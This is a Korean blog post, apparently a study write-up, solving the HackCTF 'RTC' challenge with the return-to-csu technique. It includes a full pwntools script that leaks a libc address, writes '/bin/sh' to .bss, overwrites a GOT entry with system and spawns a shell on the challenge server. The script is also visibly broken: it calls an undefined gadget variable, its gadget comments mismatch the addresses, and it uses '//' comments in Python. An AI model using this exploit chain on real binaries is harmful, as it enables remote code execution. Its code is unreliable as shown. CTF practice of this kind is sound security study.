일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- web hacking
- 내부침투
- 암호해독
- 해킹툴
- 취약점 스캔
- Hacking
- smb
- SQL Injection
- 취약점분석
- 권한상승
- Los
- 침투테스트
- Kioptrix
- Samba
- 시스템 해킹
- root권한
- SQLINJECTION
- Metasploit
- 포트스캔
- CTF
- 모의해킹
- 스캐닝
- load of sqlinjection
- 스캔
- sql
- 취약점
- 메타스플로잇
- 해킹도구
- 해킹
- 칼리리눅스
- Today
- Total
감자 텃밭
[HackCTF] - RTC 본문
제목에서도 알 수 있듯 해당 문제는 RTC를 이용하는 문제인듯 하다.
우선 해당 프로그램을 확인해보자.
입력과 출력 기능이 있고, nx가 걸려있는걸 확인 할 수 있다.
또한 해당 바이너리 파일에는 pop rdx; ret 가젯이 존재하지 않는다..
역시 RTC 기법을 사용해야할 거 같다.
해당 프로그램을 IDA로 확인해보자.
매우 단순하다 write()함수와 read()함수로 단순 출력 입력만 하고있다.
우선
RTC란 ROP기법을 사용할떄 필요한 가젯이 없을경우 사용하는 기법이다.
RTC기법은 __libc_csu_init 함수를 사용하며,
가젯을 해당 함수에서 찾는것을 제외한 나머지 방법은 ROP와 동일하다.
자세한 설명은 RTC 기법설명에서 확인하자.
https://hg2lee.tistory.com/entry/Return-to-cs-%EA%B8%B0%EB%B2%95-%EC%A0%95%EB%A6%AC
우선 해당 함수를 보면 아래와 같이 되어있다.
RTC 기법을 사용할때 봐야할 부분은 파란 네모와 빨간 네모 부분이다.
POP 을통해 인자를 정리하고 rbx, rbp, r12, r13, r14, r15에 저장한다.
그 후 ret에서 파란 네모부분으로 넘어가서 r13의 값을 rdx에 저장하고 r14의 값을 rsi에 r15의 값을 edi에 넣게된다.
이를 통해 우리는 rdi, rsi, rdx의 값을 제어할 수 있게된다. 그 후 r12+rbx*8 부분을 call하게 되는에 이부분 떄문에
rbx의 값을 0으로 세팅해줘야한다 그 이유는 r12에 우리가 호출할 함수의 주소를 넣어둬야 하기에
r12+rbx(0)*8 했을때 문제없이 r12 위치로 이동할 수 있게 된다.
그 후 rbx에 1을 더한 후 rbx와 rbp를 더한다 이부분을 위해 rbp에는 1을 넣어줘야한다.
그렇게 비교값이 참이되면 다시 rsp를 8바이트 늘려주고 빨간네모 부분을 실행하게된다.
이로서 우리는 ROP와 동일하게 연속적으로 함수를 호출하여 쓸 수 있게 된다.
예상 Exploit순서는 아래와 같다.
1. write() 함수로 read()함수의 got주소를 알아내어 leak해서 libc_base주소를 구한다.
2. read() 함수로 .bss영역에 "/bin/sh" 문자열을 저장한다.
3. read() 함수로 write_got 에 libc_base주소로 system() 함수의 주소를 알아내어 got_overwrite를 한다.
4. Exploitfrom pwn import * context.log_level="debug" r = remote("ctf.j0n9hyun.xyz",3025) libc = ELF("./libc.so.6") e = ELF("./rtc") read_got = p64(e.got['read']) //read_got write_got = p64(e.got['write']) //write_got system_off = libc.symbols['system'] //system_off read_off = libc.symbols['read'] //read_off csu2 = 0x4006ba //pop 을통해 인자값을 각 레지스터에 저장해줄 가젯1 csu3 = 0x4006a0 // 레지스터에 저장한 값들을 rdi, rsi, edi 에 옮겨줄 가젯2 bss = 0x0000000000601050 // bss영역의 주소 payload = "\x90"*72 //ret접근 payload += p64(csu1) //가젯1 payload += p64(0) //rbx = 0 payload += p64(1) // rbp = 1 payload += write_got // r12 payload += p64(8) // r13 payload += read_got // r14 payload += p64(1) // r15 payload += p64(csu2) //ret = 가젯 2 payload += "\x90"*8 // add rsp, 0x8 payload += p64(0) // rbx = 0 payload += p64(1) // rbp = 1 payload += read_got // r12 payload += p64(8) // r13 payload += p64(bss) // r14 payload += p64(0) // r15 payload += p64(csu2) //ret = 가젯 2 payload += "\x90"*8// add rsp, 0x8 payload += p64(0)// rbx = 0 payload += p64(1) // rbp = 1 payload += read_got // r12 payload += p64(8) // r13 payload += write_got //r14 payload += p64(0) // r15 payload += p64(csu2) // ret = 가젯 2 payload += "\x90"*8// add rsp, 0x8 payload += p64(0)// rbx = 0 payload += p64(1) // rbp = 1 payload += write_got //r12 payload += p64(0) // r13 payload += p64(0) // r14 payload += p64(bss) // r15 payload += p64(csu2) // ret = 가젯 2 r.recvuntil("\n") r.send(payload) read_add = u64(r.recv(8)) libc_base = read_add - read_off system_add = libc_base + system_off log.info("sysadd : "+hex(system_add)) log.info("read_add : "+hex(read_add)) log.info("libc : "+hex(libc_base)) r.send("/bin/sh\x00") r.send(p64(system_add)) r.interactive()
secnline으로 보냈을 시 1바이트가 추가적으로 보내져 쉘이안따졌다.
그래서 send 로 보냈더니 성공적으로 쉘을 획득할 수 있었다.
'my_study > HackCTF' 카테고리의 다른 글
[HackCTF] pwning (0) | 2021.09.26 |
---|---|
[HackCTF] - yes or no (1) | 2021.08.26 |
[HackCTF] ROP (0) | 2021.08.16 |
[HackCTF] gift (0) | 2021.08.16 |
[HackCTF] Look at me (0) | 2021.08.16 |